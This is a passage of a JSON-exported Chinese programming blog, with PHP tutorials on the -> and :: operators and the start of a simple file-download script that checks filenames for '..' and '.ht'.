class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e $arr=[\u0026#39;a\u0026#39;=\u0026gt;123,\u0026#39;b\u0026#39;=\u0026gt;456];//数组初始化\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e echo $arr[\u0026#39;a\u0026#39;];//数组引用\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e print_r($arr);//查看数组\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e class A{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e public $a=123;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e public $b=456;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e $obj=new A();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e echo $obj-\u0026gt;a;//对象引用\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e print_r($obj);//查看对象\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e?\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e输出结果:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e123Array(\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e [a] =\u0026gt; 123\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e [b] =\u0026gt; 456)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e123A Object(\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e [a] =\u0026gt; 123\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e [b] =\u0026gt; 456)\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"的用法\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/18/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/PHP/PHP%E4%B8%AD%E4%B8%89%E7%A7%8D%E9%AC%BC%E7%95%9C%E7%AC%A6%E5%8F%B7%E7%9A%84%E7%94%A8%E6%B3%95/#%E7%9A%84%E7%94%A8%E6%B3%95\" class=\"headerlink\" title=\"::的用法\"\u003e\u003c/a\u003e::的用法\u003c/h2\u003e\u003cp\u003e双冒号操作符即作用域限定操作符Scope Resolution Operator可以访问静态、const和类中重写的属性与方法。\u003c/p\u003e\u003cp\u003e(1)Program List:用变量在类定义外部访问\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eclass Fruit {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e const CONST_VALUE = \u0026#39;Fruit Color\u0026#39;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e$classname = \u0026#39;Fruit\u0026#39;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eecho $classname::CONST_VALUE; // As of PHP 5.3.0\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eecho Fruit::CONST_VALUE;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e?\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e(2)Program List:在类定义外部使用::\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eclass Fruit {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e const CONST_VALUE = \u0026#39;Fruit Color\u0026#39;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eclass Apple extends Fruit\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e public static $color = \u0026#39;Red\u0026#39;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e public static function doubleColon() {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e echo parent::CONST_VALUE . \u0026#34;\\n\u0026#34;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e echo self::$color . \u0026#34;\\n\u0026#34;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eApple::doubleColon();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e?\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e(3)Program List:调用parent方法\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eclass Fruit\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e protected function showColor() {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e echo \u0026#34;Fruit::showColor()\\n\u0026#34;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eclass Apple extends Fruit\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e // Override parent\u0026#39;s definition\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e public function showColor()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e // But still call the parent function\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e parent::showColor();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e echo \u0026#34;Apple::showColor()\\n\u0026#34;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e$apple = new Apple();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e$apple-\u0026gt;showColor();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e?\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e(4)Program List:使用作用域限定符\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e class Apple\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e public function showColor()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e return $this-\u0026gt;color;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e class Banana12 {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e public $color;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e public function __construct()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e $this-\u0026gt;color = \u0026#34;Banana is yellow\u0026#34;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e public function GetColor()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e return Apple::showColor();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e $banana = new Banana;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e echo $banana-\u0026gt;GetColor();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e?\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e(5)Program List:调用基类的方法\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eclass Fruit\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e static function color()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e return \u0026#34;color\u0026#34;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e static function showColor()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e echo \u0026#34;show \u0026#34; . self::color();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eclass Apple extends Fruit\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e static function color()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e return \u0026#34;red\u0026#34;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eApple::showColor();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e// output is \u0026#34;show color\u0026#34;!\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e?\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2021/07/18/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/PHP/PHP%E4%B8%AD%E4%B8%89%E7%A7%8D%E9%AC%BC%E7%95%9C%E7%AC%A6%E5%8F%B7%E7%9A%84%E7%94%A8%E6%B3%95/"},{"title":"PHP文件下载代码","time":"2021-07-18T14:56:13Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"其一\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/18/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/PHP/PHP%E6%96%87%E4%BB%B6%E4%B8%8B%E8%BD%BD%E4%BB%A3%E7%A0%81/#%E5%85%B6%E4%B8%80\" class=\"headerlink\" title=\"其一\"\u003e\u003c/a\u003e其一\u003c/h2\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u0026lt;?php\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e$filename = $_GET[\u0026#39;filename\u0026#39;];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e// 修改这一行设置你的文件下载目录\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e$download_path = \u0026#34;ficheros/\u0026#34;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e// 不能下载上一层目录的文件\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eif(eregi(\u0026#34;\\.\\.\u0026#34;, $filename)) die(\u0026#34;抱歉,你不能下载该文件!\u0026#34;);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e$file = str_replace(\u0026#34;..\u0026#34;, \u0026#34;\u0026#34;, $filename);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e// 包含 .ht 的文件不能下载\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eif(eregi(\u0026#34;\\.ht.+\u0026#34;, $filename)) die(\u0026#34;抱歉,你不能下载该文件!\u0026#34;);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e// 创建文件下载路径\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e$file = \u0026#34;$download_path$file\u0026#34;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e// 判断文件是否存在\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eif(!file_exists($file)) die(\u0026#34;抱歉,文件不存在!\u0026#34;);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e// 文件类型,作为头部发送给浏览器\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e$type = filetype($file);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e// 获取时间和日期\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e$today = date(\u0026#34;F j, Y, g:i a\u0026#34;);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e$time = time();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e// 发送文件头部\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eheader(\u0026#34;Content-type: $type\u0026#34;);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eheader(\u0026#34;Content-Disposition: attachment;filename=$filename\u0026#34;);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eheader(\u0026#34;Content-Transfer-Encoding: binary\u0026#34;);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eheader(\u0026#39;Pragma: no-cache\u0026#39;);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eheader(\u0026#39;Expires: 0\u0026#39;);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e// 